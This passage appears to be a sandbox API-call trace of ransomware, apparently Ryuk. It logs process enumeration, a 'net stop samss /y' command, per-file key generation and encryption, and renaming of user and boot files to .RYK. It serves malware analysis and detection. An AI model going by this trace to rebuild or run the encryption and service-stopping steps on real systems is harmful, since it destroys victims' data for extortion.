	[0275.947] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0275.950] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0275.952] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0275.954] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0275.956] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0275.959] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0275.961] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0275.963] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
	[0275.965] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0275.967] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0275.969] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0275.971] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0275.973] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7a, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0275.976] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe9, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0275.978] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0275.980] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0275.982] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0275.984] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0275.986] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0275.988] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0276.263] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0276.265] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0276.267] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0276.269] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0276.272] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0276.274] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x307c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ae0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0276.276] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x30cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ad8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0276.278] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x364c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0276.280] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3b4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0276.282] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0276.284] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0276.287] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0276.289] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0276.291] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4014, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0276.293] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0276.295] Process32NextW (in: hSnapshot=0x6d4, lppe=0x307f9b0 | out: lppe=0x307f9b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0276.296] CloseHandle (hObject=0x6d4) returned 1
	[0276.297] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x424610
	[0276.563] EnumServicesStatusW (in: hSCManager=0x424610, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x307fe48, lpServicesReturned=0x307fe40, lpResumeHandle=0x307fbb0 | out: lpServices=0x0, pcbBytesNeeded=0x307fe48, lpServicesReturned=0x307fe40, lpResumeHandle=0x307fbb0) returned 0
	[0276.563] VirtualAlloc (lpAddress=0x0, dwSize=0x1828, flAllocationType=0x1000, flProtect=0x40) returned 0x8b00000
	[0276.565] EnumServicesStatusW (in: hSCManager=0x424610, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8b00000, cbBufSize=0x1828, pcbBytesNeeded=0x307fe48, lpServicesReturned=0x307fe40, lpResumeHandle=0x307fbb0 | out: lpServices=0x8b00000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x307fe48, lpServicesReturned=0x307fe40, lpResumeHandle=0x307fbb0) returned 1
	[0276.567] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0277.282] Sleep (dwMilliseconds=0x96) 
	[0277.820] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.821] Sleep (dwMilliseconds=0xc350) 

Thread:
	id = 2513
	os_tid = 0x2d08

	[0244.815] SetFileAttributesW (lpFileName="C:\\Boot\\BCD", dwFileAttributes=0x80) returned 1
	[0244.816] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.816] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.817] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), lpNewFileName="C:\\Boot\\BCD.RYK" (normalized: "c:\\boot\\bcd.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2514
	os_tid = 0x2d0c

	[0244.818] SetFileAttributesW (lpFileName="C:\\Boot\\BCD.LOG", dwFileAttributes=0x80) returned 1
	[0244.818] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.818] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.819] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), lpNewFileName="C:\\Boot\\BCD.LOG.RYK" (normalized: "c:\\boot\\bcd.log.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2515
	os_tid = 0x2d10

	[0244.820] SetFileAttributesW (lpFileName="C:\\Boot\\BCD.LOG1", dwFileAttributes=0x80) returned 1
	[0244.820] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.821] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x8e2f6d8 | out: lpFileSize=0x8e2f6d8*=0) returned 1
	[0244.821] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x8e2f6e8 | out: lpFileSize=0x8e2f6e8*=0) returned 1
	[0244.821] CloseHandle (hObject=0x35c) returned 1
	[0244.821] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), lpNewFileName="C:\\Boot\\BCD.LOG1.RYK" (normalized: "c:\\boot\\bcd.log1.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2516
	os_tid = 0x2d14

	[0244.926] SetFileAttributesW (lpFileName="C:\\Boot\\BCD.LOG2", dwFileAttributes=0x80) returned 1
	[0244.926] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c
	[0244.926] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x91dfa38 | out: lpFileSize=0x91dfa38*=0) returned 1
	[0244.927] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x91dfa48 | out: lpFileSize=0x91dfa48*=0) returned 1
	[0244.927] CloseHandle (hObject=0x35c) returned 1
	[0244.927] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), lpNewFileName="C:\\Boot\\BCD.LOG2.RYK" (normalized: "c:\\boot\\bcd.log2.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2525
	os_tid = 0x2d48

	[0245.154] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst", dwFileAttributes=0x80) returned 1
	[0245.290] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4
	[0245.290] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x8ddf998 | out: lpFileSize=0x8ddf998*=35116) returned 1
	[0245.320] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x8ddf9a8 | out: lpFileSize=0x8ddf9a8*=35116) returned 1
	[0245.320] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x880a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0245.320] ReadFile (in: hFile=0x3c4, lpBuffer=0x8ddf9f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8ddf960, lpOverlapped=0x0 | out: lpBuffer=0x8ddf9f0*, lpNumberOfBytesRead=0x8ddf960*=0x19, lpOverlapped=0x0) returned 1
	[0245.323] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.323] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8ddf978 | out: phKey=0x8ddf978*=0x3f7bd0) returned 1
	[0245.323] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.324] ReadFile (in: hFile=0x3c4, lpBuffer=0x2610000, nNumberOfBytesToRead=0x892c, lpNumberOfBytesRead=0x8ddf984, lpOverlapped=0x0 | out: lpBuffer=0x2610000*, lpNumberOfBytesRead=0x8ddf984*=0x892c, lpOverlapped=0x0) returned 1
	[0245.416] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8ddf980*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8ddf980*=0xf4250) returned 1
	[0245.416] CryptEncrypt (in: hKey=0x3f7bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2610000*, pdwDataLen=0x8ddf988*=0x892c, dwBufLen=0xf4250 | out: pbData=0x2610000*, pdwDataLen=0x8ddf988*=0x8930) returned 1
	[0245.417] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.417] WriteFile (in: hFile=0x3c4, lpBuffer=0x2610000*, nNumberOfBytesToWrite=0x8930, lpNumberOfBytesWritten=0x8ddf984, lpOverlapped=0x0 | out: lpBuffer=0x2610000*, lpNumberOfBytesWritten=0x8ddf984*=0x8930, lpOverlapped=0x0) returned 1
	[0245.417] WriteFile (in: hFile=0x3c4, lpBuffer=0x8ddf9b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8ddf990, lpOverlapped=0x0 | out: lpBuffer=0x8ddf9b0*, lpNumberOfBytesWritten=0x8ddf990*=0x6, lpOverlapped=0x0) returned 1
	[0245.417] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8ddf9a0 | out: pbData=0x0*, pdwDataLen=0x8ddf9a0*=0x10c) returned 1
	[0245.417] CryptExportKey (in: hKey=0x3f7bd0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8ddfa10, pdwDataLen=0x8ddf9a0 | out: pbData=0x8ddfa10*, pdwDataLen=0x8ddf9a0*=0x10c) returned 1
	[0245.418] WriteFile (in: hFile=0x3c4, lpBuffer=0x8ddfa10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8ddf990, lpOverlapped=0x0 | out: lpBuffer=0x8ddfa10*, lpNumberOfBytesWritten=0x8ddf990*=0x10c, lpOverlapped=0x0) returned 1
	[0245.418] CloseHandle (hObject=0x3c4) returned 1
	[0245.452] CryptDestroyKey (hKey=0x3f7bd0) returned 1
	[0245.817] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobecmapfnt10.lst.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2526
	os_tid = 0x2d4c

	[0245.155] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst", dwFileAttributes=0x80) returned 1
	[0245.280] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0
	[0245.281] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x8fafa38 | out: lpFileSize=0x8fafa38*=138459) returned 1
	[0245.281] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x8fafa48 | out: lpFileSize=0x8fafa48*=138459) returned 1
	[0245.281] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x21bb9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0245.281] ReadFile (in: hFile=0x3c0, lpBuffer=0x8fafa90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8fafa00, lpOverlapped=0x0 | out: lpBuffer=0x8fafa90*, lpNumberOfBytesRead=0x8fafa00*=0x19, lpOverlapped=0x0) returned 1
	[0245.284] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.284] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8fafa18 | out: phKey=0x8fafa18*=0x3f7b60) returned 1
	[0245.285] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.285] ReadFile (in: hFile=0x3c0, lpBuffer=0x2b00000, nNumberOfBytesToRead=0x21cdb, lpNumberOfBytesRead=0x8fafa24, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesRead=0x8fafa24*=0x21cdb, lpOverlapped=0x0) returned 1
	[0245.292] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8fafa20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8fafa20*=0xf4250) returned 1
	[0245.295] CryptEncrypt (in: hKey=0x3f7b60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b00000*, pdwDataLen=0x8fafa28*=0x21cdb, dwBufLen=0xf4250 | out: pbData=0x2b00000*, pdwDataLen=0x8fafa28*=0x21ce0) returned 1
	[0245.298] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0245.298] WriteFile (in: hFile=0x3c0, lpBuffer=0x2b00000*, nNumberOfBytesToWrite=0x21ce0, lpNumberOfBytesWritten=0x8fafa24, lpOverlapped=0x0 | out: lpBuffer=0x2b00000*, lpNumberOfBytesWritten=0x8fafa24*=0x21ce0, lpOverlapped=0x0) returned 1
	[0245.299] WriteFile (in: hFile=0x3c0, lpBuffer=0x8fafa50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8fafa30, lpOverlapped=0x0 | out: lpBuffer=0x8fafa50*, lpNumberOfBytesWritten=0x8fafa30*=0x6, lpOverlapped=0x0) returned 1
	[0245.299] CryptExportKey (in: hKey=0x3f7b60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8fafa40 | out: pbData=0x0*, pdwDataLen=0x8fafa40*=0x10c) returned 1
	[0245.299] CryptExportKey (in: hKey=0x3f7b60, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8fafab0, pdwDataLen=0x8fafa40 | out: pbData=0x8fafab0*, pdwDataLen=0x8fafa40*=0x10c) returned 1
	[0245.301] WriteFile (in: hFile=0x3c0, lpBuffer=0x8fafab0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8fafa30, lpOverlapped=0x0 | out: lpBuffer=0x8fafab0*, lpNumberOfBytesWritten=0x8fafa30*=0x10c, lpOverlapped=0x0) returned 1
	[0245.301] CloseHandle (hObject=0x3c0) returned 1
	[0245.733] CryptDestroyKey (hKey=0x3f7b60) returned 1
	[0245.733] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2556
	os_tid = 0x2dc4

